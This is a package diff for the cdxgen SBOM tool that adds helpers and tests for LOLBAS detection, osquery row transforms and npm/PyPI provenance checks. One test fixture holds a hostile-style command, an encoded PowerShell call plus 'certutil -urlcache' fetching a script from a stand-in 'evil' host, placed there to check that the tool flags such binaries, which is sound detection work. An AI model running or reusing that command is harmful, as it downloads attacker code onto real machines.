@cyclonedx/cdxgen 12.2.0 → 12.3.0

package/lib/helpers/lolbas.poku.js

@@ -0,0 +1,39 @@
+import { strict as assert } from "node:assert";
+
+import { describe, it } from "poku";
+
+import { createLolbasProperties, getLolbasMetadata } from "./lolbas.js";
+
+describe("lolbas helpers", () => {
+  it("resolves extensionless aliases to canonical LOLBAS executables", () => {
+    const metadata = getLolbasMetadata("powershell");
+    assert.ok(metadata);
+    assert.strictEqual(metadata.canonicalName, "powershell.exe");
+    assert.ok(metadata.functions.includes("script-execution"));
+    assert.ok(metadata.attackTechniques.includes("T1059.001"));
+  });
+
+  it("resolves fully qualified Windows paths", () => {
+    const metadata = getLolbasMetadata("C:\\Windows\\System32\\regsvr32.exe");
+    assert.ok(metadata);
+    assert.strictEqual(metadata.canonicalName, "regsvr32.exe");
+    assert.ok(metadata.riskTags.includes("proxy-execution"));
+  });
+
+  it("creates aggregated properties for osquery rows with LOLBAS matches", () => {
+    const properties = createLolbasProperties("windows_run_keys", {
+      description:
+        "powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
+      key: "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+    });
+    const propertyMap = Object.fromEntries(
+      properties.map((property) => [property.name, property.value]),
+    );
+    assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
+    assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
+    assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
+    assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
+    assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
+    assert.ok(propertyMap["cdx:lolbas:matchFields"].includes("description"));
+  });
+});

package/lib/helpers/osqueryTransform.js

@@ -0,0 +1,84 @@
+import { PackageURL } from "packageurl-js";
+
+export function deriveOsQueryVersion(res) {
+  return (
+    res.version ||
+    res.hotfix_id ||
+    res.hardware_version ||
+    res.port ||
+    res.pid ||
+    res.subject_key_id ||
+    res.interface ||
+    res.instance_id
+  );
+}
+
+export function deriveOsQueryName(res, singleResult, queryName) {
+  let name =
+    res.name ||
+    res.device_id ||
+    res.hotfix_id ||
+    res.uuid ||
+    res.serial ||
+    res.pid ||
+    res.address ||
+    res.ami_id ||
+    res.interface ||
+    res.client_app_id;
+  if (!name && singleResult && queryName) {
+    name = queryName;
+  }
+  return name;
+}
+
+export function deriveOsQueryPublisher(res) {
+  const publisher =
+    res.publisher ||
+    res.maintainer ||
+    res.creator ||
+    res.manufacturer ||
+    res.provider ||
+    "";
+  return publisher === "null" ? "" : publisher;
+}
+
+export function deriveOsQueryDescription(res) {
+  return (
+    res.description ||
+    res.summary ||
+    res.arguments ||
+    res.device ||
+    res.codename ||
+    res.section ||
+    res.status ||
+    res.identifier ||
+    res.components ||
+    ""
+  );
+}
+
+export function sanitizeOsQueryIdentity(value) {
+  return String(value || "")
+    .replace(/ /g, "+")
+    .replace(/[:%]/g, "-")
+    .replace(/^[@{]/g, "")
+    .replace(/[}]$/g, "");
+}
+
+export function createOsQueryPurl(
+  purlType,
+  group,
+  name,
+  version,
+  qualifiers,
+  subpath,
+) {
+  return new PackageURL(
+    purlType || "swid",
+    group,
+    name,
+    version || "",
+    qualifiers,
+    subpath,
+  ).toString();
+}

package/lib/helpers/osqueryTransform.poku.js

@@ -0,0 +1,49 @@
+import { assert, describe, it } from "poku";
+
+import {
+  createOsQueryPurl,
+  deriveOsQueryDescription,
+  deriveOsQueryName,
+  deriveOsQueryPublisher,
+  deriveOsQueryVersion,
+  sanitizeOsQueryIdentity,
+} from "./osqueryTransform.js";
+
+describe("osqueryTransform helpers", () => {
+  it("derives version, name, publisher, and description from osquery rows", () => {
+    const row = {
+      pid: "1024",
+      provider: "null",
+      summary: "sample description",
+    };
+    assert.strictEqual(deriveOsQueryVersion(row), "1024");
+    assert.strictEqual(deriveOsQueryName(row, false), "1024");
+    assert.strictEqual(deriveOsQueryPublisher(row), "");
+    assert.strictEqual(deriveOsQueryDescription(row), "sample description");
+  });
+
+  it("falls back to query name for single-row synthetic entries", () => {
+    const row = {};
+    assert.strictEqual(deriveOsQueryName(row, true, "os-image"), "os-image");
+  });
+
+  it("sanitizes osquery identity strings used in purl fields", () => {
+    assert.strictEqual(
+      sanitizeOsQueryIdentity("{My App:%Name}"),
+      "My+App--Name",
+    );
+  });
+
+  it("creates valid purl strings for osquery-derived components", () => {
+    const purl = createOsQueryPurl(
+      "swid",
+      "microsoft",
+      "windows+11",
+      "22H2",
+      undefined,
+      "windows",
+    );
+    assert.ok(purl.startsWith("pkg:swid/microsoft/"));
+    assert.ok(purl.includes("@22H2"));
+  });
+});

package/lib/helpers/provenanceUtils.js

@@ -0,0 +1,193 @@
+const NPM_PROVENANCE_URL_PROPERTY = "cdx:npm:provenanceUrl";
+const NPM_TRUSTED_PUBLISHING_PROPERTY = "cdx:npm:trustedPublishing";
+const PYPI_PROVENANCE_URL_PROPERTY = "cdx:pypi:provenanceUrl";
+const PYPI_TRUSTED_PUBLISHING_PROPERTY = "cdx:pypi:trustedPublishing";
+
+export const NPM_PROVENANCE_EVIDENCE_PROPERTIES = [
+  NPM_PROVENANCE_URL_PROPERTY,
+  "cdx:npm:provenanceDigest",
+  "cdx:npm:provenanceKeyId",
+  "cdx:npm:provenancePredicateType",
+  "cdx:npm:provenanceSignature",
+  "cdx:npm:artifactIntegrity",
+  "cdx:npm:artifactShasum",
+];
+export const PYPI_PROVENANCE_EVIDENCE_PROPERTIES = [
+  PYPI_PROVENANCE_URL_PROPERTY,
+  "cdx:pypi:provenanceDigest",
+  "cdx:pypi:provenanceKeyId",
+  "cdx:pypi:provenancePredicateType",
+  "cdx:pypi:provenanceSignature",
+  "cdx:pypi:artifactDigestSha256",
+  "cdx:pypi:artifactDigestBlake2b256",
+  "cdx:pypi:artifactDigestMd5",
+];
+export const REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES = [
+  ...NPM_PROVENANCE_EVIDENCE_PROPERTIES,
+  ...PYPI_PROVENANCE_EVIDENCE_PROPERTIES,
+];
+export const TRUSTED_PUBLISHING_PROPERTIES = [
+  NPM_TRUSTED_PUBLISHING_PROPERTY,
+  PYPI_TRUSTED_PUBLISHING_PROPERTY,
+];
+
+export const REGISTRY_PROVENANCE_ICON = "🛡";
+
+/**
+ * Return a component property value by name.
+ *
+ * @param {object} component CycloneDX component
+ * @param {string} propertyName Property name to look up
+ * @returns {string | undefined} Property value if present
+ */
+export function getComponentPropertyValue(component, propertyName) {
+  return component?.properties?.find((prop) => prop?.name === propertyName)
+    ?.value;
+}
+
+/**
+ * Return a property value by name from a raw properties array.
+ *
+ * @param {object[]} properties CycloneDX properties array
+ * @param {string} propertyName Property name to look up
+ * @returns {string | undefined} Property value if present
+ */
+export function getPropertyValue(properties, propertyName) {
+  return properties?.find((prop) => prop?.name === propertyName)?.value;
+}
+
+/**
+ * Check whether any of the supplied properties exist and carry a value.
+ *
+ * @param {object[]} properties CycloneDX properties array
+ * @param {string[]} propertyNames Property names to test
+ * @returns {boolean} True when any named property has a non-empty value
+ */
+export function hasAnyPropertyValue(properties, propertyNames) {
+  return propertyNames.some((propertyName) =>
+    Boolean(getPropertyValue(properties, propertyName)),
+  );
+}
+
+/**
+ * Determine whether a raw properties array includes trusted publishing metadata.
+ *
+ * @param {object[]} properties CycloneDX properties array
+ * @returns {boolean} True when trusted publishing is recorded for npm or PyPI
+ */
+export function hasTrustedPublishingProperties(properties) {
+  return TRUSTED_PUBLISHING_PROPERTIES.some(
+    (propertyName) => getPropertyValue(properties, propertyName) === "true",
+  );
+}
+
+/**
+ * Determine whether a raw properties array includes direct registry provenance evidence.
+ *
+ * @param {object[]} properties CycloneDX properties array
+ * @returns {boolean} True when direct provenance evidence is present
+ */
+export function hasRegistryProvenanceEvidenceProperties(properties) {
+  return hasAnyPropertyValue(
+    properties,
+    REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES,
+  );
+}
+
+/**
+ * Determine whether a component includes trusted publishing metadata.
+ *
+ * @param {object} component CycloneDX component
+ * @returns {boolean} True when trusted publishing is recorded for npm or PyPI
+ */
+export function hasComponentTrustedPublishing(component) {
+  return hasTrustedPublishingProperties(component?.properties);
+}
+
+/**
+ * Determine whether a component includes direct registry provenance evidence.
+ *
+ * @param {object} component CycloneDX component
+ * @returns {boolean} True when provenance URL, digests, signatures, or key IDs exist
+ */
+export function hasComponentRegistryProvenanceEvidence(component) {
+  return hasRegistryProvenanceEvidenceProperties(component?.properties);
+}
+
+/**
+ * Determine whether a component includes registry provenance metadata.
+ *
+ * @param {object} component CycloneDX component
+ * @returns {boolean} True when provenance or trusted publishing metadata exists
+ */
+export function hasComponentRegistryProvenance(component) {
+  return (
+    hasComponentTrustedPublishing(component) ||
+    hasComponentRegistryProvenanceEvidence(component)
+  );
+}
+
+/**
+ * Filter components to those carrying trusted publishing metadata.
+ *
+ * @param {object[]} components BOM components
+ * @returns {object[]} Trusted-publishing-backed components
+ */
+export function getTrustedComponents(components) {
+  if (!Array.isArray(components)) {
+    return [];
+  }
+  return components.filter((component) =>
+    hasComponentTrustedPublishing(component),
+  );
+}
+
+/**
+ * Filter components to those carrying direct registry provenance evidence.
+ *
+ * @param {object[]} components BOM components
+ * @returns {object[]} Provenance-backed components
+ */
+export function getProvenanceComponents(components) {
+  if (!Array.isArray(components)) {
+    return [];
+  }
+  return components.filter((component) =>
+    hasComponentRegistryProvenanceEvidence(component),
+  );
+}
+
+/**
+ * Count components with trusted publishing metadata by registry ecosystem.
+ *
+ * @param {object[]} components BOM components
+ * @returns {{npm: number, pypi: number, total: number}} Trusted publishing counts
+ */
+export function getTrustedPublishingComponentCounts(components) {
+  const counts = {
+    npm: 0,
+    pypi: 0,
+    total: 0,
+  };
+  if (!Array.isArray(components)) {
+    return counts;
+  }
+  for (const component of components) {
+    const npmTrustedPublishing =
+      getComponentPropertyValue(component, NPM_TRUSTED_PUBLISHING_PROPERTY) ===
+      "true";
+    const pypiTrustedPublishing =
+      getComponentPropertyValue(component, PYPI_TRUSTED_PUBLISHING_PROPERTY) ===
+      "true";
+    if (npmTrustedPublishing) {
+      counts.npm += 1;
+    }
+    if (pypiTrustedPublishing) {
+      counts.pypi += 1;
+    }
+    if (npmTrustedPublishing || pypiTrustedPublishing) {
+      counts.total += 1;
+    }
+  }
+  return counts;
+}

package/lib/helpers/provenanceUtils.poku.js

@@ -0,0 +1,145 @@
+import { assert, describe, it } from "poku";
+
+import {
+  getPropertyValue,
+  getProvenanceComponents,
+  getTrustedComponents,
+  getTrustedPublishingComponentCounts,
+  hasAnyPropertyValue,
+  hasComponentRegistryProvenance,
+  hasComponentRegistryProvenanceEvidence,
+  hasComponentTrustedPublishing,
+  hasRegistryProvenanceEvidenceProperties,
+  hasTrustedPublishingProperties,
+} from "./provenanceUtils.js";
+
+describe("provenanceUtils", () => {
+  const npmTrustedComponent = {
+    name: "left-pad",
+    properties: [
+      {
+        name: "cdx:npm:trustedPublishing",
+        value: "true",
+      },
+    ],
+  };
+  const pypiProvenanceComponent = {
+    name: "requests",
+    properties: [
+      {
+        name: "cdx:pypi:provenanceUrl",
+        value: "https://pypi.org/integrity/example",
+      },
+    ],
+  };
+  const plainComponent = {
+    name: "lodash",
+    properties: [],
+  };
+
+  it("detects trusted publishing and registry provenance metadata", () => {
+    assert.strictEqual(
+      hasComponentTrustedPublishing(npmTrustedComponent),
+      true,
+    );
+    assert.strictEqual(
+      hasComponentRegistryProvenance(pypiProvenanceComponent),
+      true,
+    );
+    assert.strictEqual(
+      hasComponentRegistryProvenanceEvidence(pypiProvenanceComponent),
+      true,
+    );
+    assert.strictEqual(hasComponentRegistryProvenance(plainComponent), false);
+  });
+
+  it("filters trusted components and counts trusted publishing by ecosystem", () => {
+    assert.deepStrictEqual(
+      getTrustedComponents([
+        plainComponent,
+        npmTrustedComponent,
+        pypiProvenanceComponent,
+      ]).map((component) => component.name),
+      ["left-pad"],
+    );
+    assert.deepStrictEqual(
+      getProvenanceComponents([
+        plainComponent,
+        npmTrustedComponent,
+        pypiProvenanceComponent,
+      ]).map((component) => component.name),
+      ["requests"],
+    );
+    assert.deepStrictEqual(
+      getTrustedPublishingComponentCounts([
+        npmTrustedComponent,
+        {
+          name: "urllib3",
+          properties: [
+            {
+              name: "cdx:pypi:trustedPublishing",
+              value: "true",
+            },
+          ],
+        },
+        plainComponent,
+      ]),
+      {
+        npm: 1,
+        pypi: 1,
+        total: 2,
+      },
+    );
+  });
+
+  it("supports property-array checks used by display and audit code", () => {
+    const properties = [
+      {
+        name: "cdx:npm:provenanceKeyId",
+        value: "sigstore-key",
+      },
+      {
+        name: "cdx:npm:trustedPublishing",
+        value: "true",
+      },
+    ];
+    assert.strictEqual(
+      getPropertyValue(properties, "cdx:npm:provenanceKeyId"),
+      "sigstore-key",
+    );
+    assert.strictEqual(
+      hasAnyPropertyValue(properties, ["cdx:npm:provenanceKeyId"]),
+      true,
+    );
+    assert.strictEqual(hasTrustedPublishingProperties(properties), true);
+    assert.strictEqual(
+      hasRegistryProvenanceEvidenceProperties(properties),
+      true,
+    );
+  });
+
+  it("counts total trusted publishing components once even with multiple registry flags", () => {
+    assert.deepStrictEqual(
+      getTrustedPublishingComponentCounts([
+        {
+          name: "dual-published",
+          properties: [
+            {
+              name: "cdx:npm:trustedPublishing",
+              value: "true",
+            },
+            {
+              name: "cdx:pypi:trustedPublishing",
+              value: "true",
+            },
+          ],
+        },
+      ]),
+      {
+        npm: 1,
+        pypi: 1,
+        total: 1,
+      },
+    );
+  });
+});